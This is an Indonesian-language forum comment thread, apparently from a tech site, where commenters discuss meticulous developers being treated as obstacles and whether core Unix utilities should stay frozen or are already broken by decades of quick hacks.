      Kalau seseorang benar-benar cukup teliti sampai mau memperhatikan detail, orang itu sering dianggap penghambat pengembangan. Timbul ketegangan dengan tim karena dianggap terlalu cerewet
      Terus terang, saya sendiri sedang dalam situasi serupa sekarang. Bukan saya yang jadi pihak cerewet, melainkan salah satu developer yang saya pekerjakan. Sayangnya, ketelitiannya tidak dihargai dengan baik sehingga dia harus dikeluarkan dari tim. Tidak membantu juga bahwa dia berasal dari Eropa Timur dan cenderung memberi umpan balik dengan sangat blak-blakan
  • Utilitas Unix sudah teruji selama waktu yang lama. Saya berharap kernel dan utilitas inti dibekukan saja dan tidak diubah. Kecuali kalau memang benar-benar perlu
    Maksudnya, kalau tidak rusak, jangan diperbaiki. kerajaan software tampak seperti di luar kendali

    • Semuanya memang rusak. Ini adalah hasil akumulasi quick hack untuk membuat sesuatu sekadar bekerja hari ini, yang menumpuk selama 50 tahun dan sejuta developer
      Sesekali ada contoh cemerlang yang memang dibuat dengan benar, tetapi secara keseluruhan rasanya masuk akal untuk mengatakan bahwa hal-hal seperti itu sudah sepenuhnya tersisih